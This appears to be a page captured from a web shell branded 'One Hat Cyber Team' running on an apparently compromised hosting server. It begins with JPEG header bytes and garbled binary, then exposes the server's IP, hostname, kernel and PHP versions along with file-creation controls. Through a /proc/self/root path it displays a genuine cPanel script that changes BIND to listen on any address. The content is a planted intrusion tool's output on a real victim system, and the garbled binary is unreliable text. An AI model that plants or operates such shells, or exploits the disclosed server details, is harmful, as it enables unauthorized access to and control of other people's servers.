����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.134.111.219
Server IP :
139.177.197.176
Server :
Linux host.afriservers.rw 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.4.32
Buat File
|
Buat Folder
Dir :
~
/
proc
/
self
/
root
/
proc
/
self
/
root
/
scripts
/
View File Name :
fix-listen-on-localhost
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/fix-listen-on-localhost Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Cpanel::Usage (); use Cpanel::Update::Logger (); use Cpanel::NameServer::Utils::BIND (); use Cpanel::FileUtils (); # not tidy my $force = 0; my $verbose = 0; my $debug = 0; # default value comes from Cpanel::NameServer::Utils::BIND my $file = Cpanel::NameServer::Utils::BIND::find_namedconf(); my %opts = ( 'force' => \$force, 'verbose' => \$verbose, 'debug' => \$debug, 'file' => \$file, ); # ==== init process options Cpanel::Usage::wrap_options( \@ARGV, \&usage, \%opts ); # set logger ( default level to fatal ) my $level = $verbose ? 'info' : 'fatal'; $level = 'debug' if $debug; my $logger = Cpanel::Update::Logger->new( { 'stdout' => 1, 'log_level' => $level } ); # ==== main code start here my @files = ($file); # add extra file if chroot is enable my ($chrootdir) = Cpanel::NameServer::Utils::BIND::find_chrootbinddir(); push( @files, join( $chrootdir, '/', $file ) ) if $chrootdir && $chrootdir ne ''; # fix for each file my $need_to_reload; foreach my $f (@files) { $need_to_reload ||= fix_file( file => $f, force => $force ); } # relaod service if possible if ($need_to_reload) { require Cpanel::DnsUtils::RNDCQueue::Adder; require Cpanel::ServerTasks; Cpanel::DnsUtils::RNDCQueue::Adder->add("reload"); Cpanel::ServerTasks::schedule_task( ['BINDTasks'], 1, 'rndc_queue' ); } exit; ### helpers sub fix_file { my (%opts) = @_; $logger->info("file candidate : $file"); eval { _check_prerequire( \%opts ); }; return if ($@); $logger->info("file $file will be fixed"); # replace safely the file line at this step # listen-on { 127.0.0.1; }; => listen-on { any; }; Cpanel::FileUtils::regex_rep_file( $opts{file}, { qr{^\s*listen\-on.*{\s*127.0.0.1;\s*};\s*$} => q{ listen-on { any; }; /* updated by cPanel*/\n}, } ); 1; } sub _check_prerequire { my ($opts) = @_; my $file = $opts->{file}; # do not apply force on these set of prerequires _die_and_next("No file defined") unless defined $file; _die_and_next("File '$file' doesn't exist") unless -e $file; # these ones can be disables using force option return if $opts->{force}; # basic prerequire to avoid to touch file if not needed system("grep listen-on $file | grep -v '//' | grep 127.0.0.1 >/dev/null"); _die_and_next("cannot find listen-on 127.0.0.1") unless $? == 0; } sub _die_and_next { my $msg = shift || 'Unknown error'; $logger->error($msg); die($msg); } sub usage { my $prog = $0; $prog =~ s{^.+/(.+)$}{$1}; print <<EOF; $prog [options] [ -f FILE ] This script will convert the default listen-on entry in named.conf from listen-on { 127.0.0.1; }; to a more widely entry listen-on { any; }; Only works on IPv4. Parameters: --file=FILE, -f FILE - you can specify a FILE default one will be /etc/namedb/named.conf Modifiers Flags: --force - will update the file without checking any conditions --verbose - display some friendly verbose messages --debug - display more messages --help - dislay this help message and exit EOF exit; }